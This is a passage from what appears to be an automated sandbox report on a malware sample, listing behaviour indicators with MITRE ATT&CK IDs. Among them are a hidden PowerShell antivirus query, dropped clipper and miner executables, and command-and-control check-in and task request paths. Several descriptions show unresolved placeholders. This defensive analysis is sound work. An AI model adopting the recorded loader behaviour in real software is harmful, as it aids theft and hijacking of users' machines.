root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName\"\" (UID: 00000000-00001552)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$47","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"file\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"205792_clip.exe.part\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"installer.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"205795_build_x64.exe.part\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"sysdropfa.exe\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"appro@openssl.org\"\n Pattern match: \"iepo@microsoft.com\"\n Pattern match: \"info@e-szigno.hu\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Found User Agent related strings","description":"Found string \"User-Agent: Proxy-Authorization:\" (Indicator: \"user-agent: \"; File: \"file\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$48","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"GETs files from a web server (PE files)","description":"$49","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$4a","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at 54C30000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"file.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 82FA0000\n \"file.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 83650000\n \"getmac.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 83650000\n \"getmac.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 82FA0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 83650000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 82FA0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 56230000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"file.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 86FA0000\n \"getmac.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 86FA0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 86FA0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000040c78483f87f0000@ntdll.dll\"\n \"220023000000000018c78483f87f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"file\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"file\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"205792_clip.exe.part\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"205792_clip.exe.part\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"installer.exe\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"installer.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"205795_build_x64.exe.part\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"205795_build_x64.exe.part\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"sysdropfa.exe\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"sysdropfa.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"\"powershell.exe\" touched \"Windows Defender IOfficeAntiVirus implementation\" (Path: \"HKLM\\SOFTWARE\\CLASSES\\CLSID\\{2781761E-28E0-4109-99FE-B9D127C57AFE}\\INPROCSERVER32\")","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"205792_clip.exe.part\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"205795_build_x64.exe.part\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"file\" has an executable section named \".text\"\n \"205792_clip.exe.part\" has an executable section named \".text\"\n \"installer.exe\" has an executable section named \".text\"\n \"205795_build_x64.exe.part\" has an executable section named \".text\"\n \"sysdropfa.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"file\" has an writable section named \".data\"\n \"file\" has an writable section named \".tls\"\n \"205792_clip.exe.part\" has an writable section named \".data\"\n \"205792_clip.exe.part\" has an writable section named \".fptable\"\n \"installer.exe\" has an writable section named \".data\"\n \"installer.exe\" has an writable section named \".tls\"\n \"205795_build_x64.exe.part\" has an writable section named \".data\"\n \"205795_build_x64.exe.part\" has an writable section named \".fptable\"\n \"sysdropfa.exe\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$4b","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x29fc00\" greater than 0x100000\n Raw size of \".rdata\" is \"0x10b600\" greater than 0x100000\n Raw size of \".text\" is \"0x321200\" greater than 0x100000\n Raw size of \".rdata\" is \"0x1ab600\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x29fb26\" greater than 0x100000\n Virtual size of \".rdata\" is \"0x10b4dc\" greater than 0x100000\n Virtual size of \".text\" is \"0x3211e0\" greater than 0x100000\n Virtual size of \".rdata\" is \"0x1ab5ec\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"file\" has high imagebase \"0x140000000\"\n \"205792_clip.exe.part\" has high imagebase \"0x140000000\"\n \"installer.exe\" has high imagebase \"0x140000000\"\n \"205795_build_x64.exe.part\" has high imagebase \"0x140000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00000700-00000BC1-2046806616]\n Observed system executable string:\"%WINDIR%\\system32\\getmac.exe\" [Source: 00000000-00000700-00000C47-41199616453]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"getmac.exe\" (UID: 00000000-00001420) was launched with new environment variables: \"USERDNSDOMAIN=\"DESKTOP-FVVF82A\"\"\n Process \"getmac.exe\" (UID: 00000000-00001420) was launched with modified environment variables: \"NUMBER_OF_PROCESSORS\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"file.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"file.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"file.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"file.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")\n \"file.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"LOCALENAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"getmac.exe\" with commandline \"\"getmac\" /fo csv /nh\" (UID: 00000000-00001420)\n Spawned process \"powershell.exe\" with commandline \"\"powershell\" -NoProfile -NonInteractive -WindowStyle Hidden -Com ...\" (UID: 00000000-00001552)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"getmac.exe\" with commandline \"\"getmac\" /fo csv /nh\" (UID: 00000000-00001420)\n Spawned process \"powershell.exe\" with commandline \"\"powershell\" -NoProfile -NonInteractive -WindowStyle Hidden -Com ...\" (UID: 00000000-00001552)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"sysdropfa.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Installation/Persistence","name":"Able to establish persistence using Exchange transport agent (.NET)","description":"file/memory contains long string(Source: \"00000000-00000700.00000000.194210.2FA40000.00000002.mdmp\")\n Found string \"<0s>: No attachments present+<0s>: Unsupported framebuffer configuration1<0s>: Attachments do not have the same dimensions\" (Source: \"00000000-00000700.00000000.194210.2FA40000.00000002.mdmp\")\n Found string \"Outlook Attachment\" (Source: \"00000000-00000700.00000000.194210.2FA40000.00000002.mdmp\")\n Found string \"Attachments:[To modify indexing settings on another user's mail folder, that user needs to be logged in.HIndexing of Outlook email has been disabled by the System Administrator.HIndexing of Offline files has been disabled by the System Administrator.\" (Source: \"00000000-00000700.00000000.194210.2FA40000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1505.002","relevance":1,"id":"string-938","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to lookup the windows account name","description":"LookupAccountNameW@ADVAPI32.dll at 39755-4330-000000014002259E\n GetUserNameW@ADVAPI32.dll at 39755-5038-000000014017FC92","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1033","relevance":5,"id":"stream-28","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"file.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates file(s) in System32 or SysWOW64 directory","description":"\"powershell.exe\" create file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" create file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\CatRoot\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1036.005","relevance":5,"id":"api-324","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$4e","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"\"Secure Preferences.tmp\" has type \"JSON text data\"\n \"Preferences.tmp\" has type \"ASCII text with very long lines (22183) with no line terminators\"\n \"Preferences.tmp\" has type \"JSON text data\"\n \"executed_tasks.json.tmp\" has type \"JSON text data\"","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$4f","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"file.exe\" queries basic process information of the \"C:\\file.exe\" (UID: 700)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$50","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$51","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"$52","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"file.exe\" trying to touch file \"C:\\Windows\\System32\\apphelp.dll\"\n \"file.exe\" trying to touch file \"C:\\file.exe\"\n \"file.exe\" trying to touch file \"C:\\Windows\\System32\\ntdll.dll\"\n \"file.exe\" trying to touch file \"C:\\Windows\\System32\\kernel32.dll\"\n \"file.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"file.exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"\n \"file.exe\" trying to touch file \"C:\\PDH.DLL\"\n \"file.exe\" trying to touch file \"C:\\Windows\\System32\\pdh.dll\"\n \"file.exe\" trying to touch file \"C:\\CRYPTBASE.DLL\"\n \"file.exe\" trying to touch file \"C:\\Windows\\System32\\cryptbase.dll\"\n \"file.exe\" trying to touch file \"C:\\Windows\\System32\\msvcrt.dll\"\n \"file.exe\" trying to touch file \"C:\\Windows\\System32\\rpcrt4.dll\"\n \"file.exe\" trying to touch file \"C:\\Windows\\System32\\sechost.dll\"\n \"file.exe\" trying to touch file \"C:\\Windows\\System32\\advapi32.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"\"file.exe\" trying to access non-existent file \"C:\\PDH.DLL\"\n \"file.exe\" trying to access non-existent file \"C:\\CRYPTBASE.DLL\"\n \"file.exe\" trying to access non-existent file \"C:\\FLTLIB.DLL\"\n \"file.exe\" trying to access non-existent file \"C:\\MSVCP140.DLL\"\n \"file.exe\" trying to access non-existent file \"C:\\CRYPTSP.DLL\"\n \"file.exe\" trying to access non-existent file \"C:\\SSPICLI.DLL\"\n \"file.exe\" trying to access non-existent file \"C:\\SspiCli.dll\"\n \"file.exe\" trying to access non-existent file \"C:\\LSM.DLL\"\n \"file.exe\" trying to access non-existent file \"C:\\lsm.dll\"\n \"file.exe\" trying to access non-existent file \"C:\\HVHOSTSVC.DLL\"\n \"file.exe\" trying to access non-existent file \"C:\\HvHostSvc.dll\"\n \"file.exe\" trying to access non-existent file \"C:\\FWPUCLNT.DLL\"\n \"file.exe\" trying to access non-existent file \"C:\\fwpuclnt.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$53","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"$54","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; File: \"file\")\n Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"file\")\n Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Network Related","name":"Able to retrieve NetBIOS or DNS name associated with the local computer","description":"Observed import api \"GetComputerNameExW\" which can be \"used to retrieve NetBIOS or DNS name associated of the local computer\" [Source: file]\n Observed import api \"GetComputerNameExW\" which can be \"used to retrieve NetBIOS or DNS name associated of the local computer\" [Source: installer.exe]","origin":"Static Parser","mitre_attack_id":"T1016","relevance":5,"id":"static-194","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Network Related","name":"Able to use vulnerability or port scanning tools","description":"file/memory contains long string with (Indicator: \"nmap -o\"; File: \"file\")\n file/memory contains long string with (Indicator: \"nmap -o\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1595.002","relevance":1,"id":"string-996","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"POST /api/v1/checkin\"\n Found http requests in header \"GET /api/v1/agent/tasks?hwid=33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\"\n Found http requests in header \"GET /d/clip\"\n Found http requests in header \"POST /api/v1/agent/tasks/205792/ack\"\n Found http requests in header \"POST /api/v1/clipper/checkin\"\n Found http requests in header \"GET /api/v1/clipper/config\"\n Found http requests in header \"POST /api/v1/clipper/ping\"\n Found http requests in header \"GET /d/build\"\n Found http requests in header \"POST /api/v1/agent/tasks/205793/ack\"\n Found http requests in header \"GET /d/Miner\"\n Found http requests in header \"POST /api/v1/agent/tasks/205794/ack\"\n Found http requests in header \"POST /api/v1/agent/tasks/205795/ack\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSASend\" (Indicator: \"WSASend\"; File: \"file\")\n Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"file\")\n Found reference to API \"nslookup: WSAStartup:%0\" (Indicator: \"WSAStartup\"; Source: \"00000000-00000700.00000000.194210.2FA40000.00000002.mdmp\")\n Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")\n Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$55","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"Handle %1 created by InternetConnect: SessionHandle=%2, Server=%4:%5, %7, Flags=%8\" (Indicator: \"InternetConnect\"; Source: \"00000000-00000700.00000000.194210.2FA40000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-538","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"Request handle %1 created by HttpOpenRequest: ConnectionHandle=%2, %4, Target=%6, Ver=%8, Referrer=%10, Media types=%12, Flags=%13\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00000700.00000000.194210.2FA40000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"NtCreateNamedPipeFile\" (Indicator: \"CreateNamedPipe\"; File: \"file\")\n Found reference to API \"AppendData (or AddSubdirectory or CreatePipeInstance)\" (Indicator: \"CreatePipe\"; Source: \"00000000-00000700.00000000.194210.2FA40000.00000002.mdmp\")\n Found reference to API \"NtCreateNamedPipeFile\" (Indicator: \"CreateNamedPipe\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; File: \"file\")\n Found reference to API \"URLDownloadToFileW\" (Indicator: \"URLDownloadToFile\"; File: \"file\")\n Found reference to API \"URLDownloadToFileW\" (Indicator: \"URLDownload\"; File: \"file\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"file\")\n Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00000700.00000000.194210.B5031000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"6a7cdd7d30a295c3fb0d1c8a"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API 